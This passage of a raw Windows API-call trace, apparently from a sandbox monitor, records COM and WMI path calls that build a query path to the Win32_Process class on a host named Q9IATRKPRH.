[7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77cb0) returned 0x0 [0084.026] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77cb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.026] WbemDefPath:IUnknown:Release (This=0x1bf77cb0) returned 0x3 [0084.026] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.026] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0084.027] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x2 [0084.027] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x1 [0084.027] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.027] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02eaf0) returned 0x0 [0084.027] WbemDefPath:IUnknown:AddRef (This=0x1c02eaf0) returned 0x3 [0084.027] WbemDefPath:IUnknown:Release (This=0x1c02eaf0) returned 0x2 [0084.027] WbemDefPath:IWbemPath:SetText (This=0x1c02eaf0, uMode=0x4, pszPath="") returned 0x0 [0084.027] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.027] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.027] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.027] IUnknown:Release (This=0x111f638) returned 0x1 [0084.029] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf77ef0) returned 0x0 [0084.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77ef0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.029] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77ef0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02e970) returned 0x0 [0084.029] WbemDefPath:IUnknown:Release (This=0x1bf77ef0) returned 0x0 [0084.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02e970) returned 0x0 [0084.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.032] WbemDefPath:IUnknown:AddRef (This=0x1c02e970) returned 0x3 [0084.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77cf0) returned 0x0 [0084.032] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77cf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.032] WbemDefPath:IUnknown:Release (This=0x1bf77cf0) returned 0x3 [0084.032] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.032] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0084.032] WbemDefPath:IUnknown:Release (This=0x1c02e970) returned 0x2 [0084.032] WbemDefPath:IUnknown:Release (This=0x1c02e970) returned 0x1 [0084.032] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.032] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02e970) returned 0x0 [0084.032] WbemDefPath:IUnknown:AddRef (This=0x1c02e970) returned 0x3 [0084.032] WbemDefPath:IUnknown:Release (This=0x1c02e970) returned 0x2 [0084.032] WbemDefPath:IWbemPath:SetText (This=0x1c02e970, uMode=0x4, pszPath="") returned 0x0 [0084.033] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e970, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.033] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02eaf0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.033] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02e970, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0084.033] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02e970, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0084.033] WbemDefPath:IWbemPath:SetServer (This=0x1c02e970, Name="Q9IATRKPRH") returned 0x0 [0084.033] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.033] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.033] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.033] IUnknown:Release (This=0x111f638) returned 0x1 [0084.035] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf77ab0) returned 0x0 [0084.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77ab0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.035] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77ab0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02e8b0) returned 0x0 [0084.035] WbemDefPath:IUnknown:Release (This=0x1bf77ab0) returned 0x0 [0084.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02e8b0) returned 0x0 [0084.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.036] WbemDefPath:IUnknown:AddRef (This=0x1c02e8b0) returned 0x3 [0084.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77c70) returned 0x0 [0084.036] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77c70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.036] WbemDefPath:IUnknown:Release (This=0x1bf77c70) returned 0x3 [0084.036] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.036] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0084.036] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x2 [0084.036] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x1 [0084.036] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.037] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02e8b0) returned 0x0 [0084.037] WbemDefPath:IUnknown:AddRef (This=0x1c02e8b0) returned 0x3 [0084.037] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x2 [0084.037] WbemDefPath:IWbemPath:SetText (This=0x1c02e8b0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e970, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e8b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e8b0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e8b0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0084.037] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02e970) returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e8b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e8b0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e8b0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0084.037] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02e970, uIndex=0x0, pszName="ROOT") returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e8b0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0084.037] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e8b0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0084.037] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02e970, uIndex=0x1, pszName="CIMV2") returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02e970, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0084.038] WbemDefPath:IWbemPath:SetClassName (This=0x1c02e970, Name="Win32_Process") returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02e970, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e970, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e970, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e970, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02e970, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e970, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e970, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e970, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e970, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0084.038] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e970, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0084.038] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0084.039] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0084.039] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0084.039] IUnknown:Release (This=0x111f638) returned 0x1 [0084.041] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf77830) returned 0x0 [0084.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77830, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0084.041] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77830, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1c02e7f0) returned 0x0 [0084.041] WbemDefPath:IUnknown:Release (This=0x1bf77830) returned 0x0 [0084.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1c02e7f0) returned 0x0 [0084.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0084.041] WbemDefPath:IUnknown:AddRef (This=0x1c02e7f0) returned 0x3 [0084.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0084.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0084.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf77870) returned 0x0 [0084.042] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77870, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.042] WbemDefPath:IUnknown:Release (This=0x1bf77870) returned 0x3 [0084.042] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0084.042] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0084.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0084.042] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x2 [0084.042] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x1 [0084.042] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0084.042] CoGetContextToken (in: 